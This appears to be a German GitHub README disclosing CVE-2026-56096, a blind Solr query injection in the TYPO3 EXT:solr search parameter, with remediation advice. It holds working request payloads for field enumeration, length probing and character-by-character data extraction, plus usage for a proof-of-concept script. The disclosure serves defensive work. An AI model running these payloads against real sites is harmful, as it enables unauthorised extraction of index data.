yairhinkis/cve-2026-56096Proof of Concept und technischer Write-up für CVE-2026-56096, eine blinde Solr-Query-Injection in TYPO3 EXT:solr, die unauthentifizierte Feld-Enumeration und Datenextraktion ermöglicht.
Eine architektonische Sicherheitslücke wurde in der offiziellen TYPO3-Apache-Solr-Erweiterung (EXT:solr / apache-solr-for-typo3/solr) entdeckt. Das Problem ermöglicht es nicht authentifizierten Angreifern aus der Ferne, beliebige Solr/Lucene-Abfragesyntax über den Suchparameter tx_solr[q] einzuschleusen, was eine unbefugte blinde Feldaufzählung und vollständige Metadatenextraktion aus dem Suchindex ermöglicht.
EXT:solr (Suchparameter: tx_solr[q])CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NDie Erweiterung EXT:solr akzeptiert benutzerseitig bereitgestellte Suchbegriffe über den Parameter tx_solr[q] und leitet diese an die Apache-Solr-Engine weiter. Konstruktionsbedingt erlaubt die Erweiterung bestimmte Abfrageoperatoren – wie Wildcards (*), Einzelzeichen-Wildcards (?), Feldselektoren (:) und Bereichsabfragen ([a TO z]) –, um legitime Funktionalitäten wie facettierte Filterung zu unterstützen.
Da diese Zeichen ohne eine durchsetzende Whitelist oder Abstraktionsschicht für Abfragen direkt an die Backend-Abfragekonstruktion weitergegeben wurden, kann ein Angreifer feldspezifische Syntax bereitstellen, um die beabsichtigten Suchgrenzen zu umgehen. Dies ermöglicht es nicht authentifizierten Benutzern, interne Solr-Felder direkt abzufragen und Indexdaten mithilfe boolescher blinder Techniken zu extrahieren.
field:*Durch Anhängen einer Wildcard an einen beliebigen oder vermuteten Feldnamen kann ein Angreifer verifizieren, ob das Feld innerhalb des Schemas existiert:
GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com
Falls das Feld existiert, verarbeitet Solr die Abfrage über alle passenden Datensätze (was häufig zu unterschiedlichen Antwortcodes oder volumenbezogenen Verhaltensweisen führt) und ermöglicht so eine automatisierte, auf Wortlisten basierende Felderkundung.
Angreifer können sensible Feldwerte Zeichen für Zeichen mithilfe boolescher Inferenz extrahieren:
GET /search?tx_solr[q]=siteHash:a* HTTP/1.1 --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1 --> "Nothing found" (Value does not begin with 'b')
?-OperatorDer Einzelzeichen-Wildcard-Operator (?) kann die exakte Länge einer gespeicherten Zeichenkette bestimmen, bevor mit der Zeicheniteration begonnen wird:
GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1 (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1 (Checks for 13+ characters)
[a TO z])Bereichsabfragen ermöglichen die Extraktion per Binärsuche auf dem ersten Zeichen und reduzieren so die Anzahl der benötigten Anfragen von 26 auf ~5 pro Zeichenposition:
GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1 --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1 --> Determines if character falls within 'n'-'z'
Die Kombination von Längenerkennung, Bereichsabfragen und Präfix-Wildcards ermöglicht die vollständige Feldextraktion mit minimalem Anfrage-Footprint.
Ein automatisiertes Verifikationsskript (poc.py) wird bereitgestellt, um die blinde Extraktion mit den oben beschriebenen Techniken zu demonstrieren.
python3 poc.py -u "https://target.example.com/?L=0&id=1" -f "someField"
-u, --url: Ziel-URL, die auf den TYPO3-Such-Endpunkt verweist.
-f, --field: Name des Schema-Felds, das aufgelistet/extrahiert werden soll (z. B. appKey, siteHash).
-c, --cookies: (Optional) Session-Cookies, falls eine Authentifizierung/WAF-Bypass-Verifizierung erforderlich ist.
-o, --output: Ausgabedatei zum Speichern der entdeckten Präfixe (Standard: validated_fields.txt).
EXT:solr-Such-Endpunkt verwenden.Eine globale Zeichen-Escaping-Maßnahme ist unzureichend, da Operatoren wie * und : beabsichtigte Suchfunktionen erfüllen. Die Behebung erfordert eine Whitelist und ein Parsing-Modell auf Anwendungsebene:
[email protected]) übermittelt.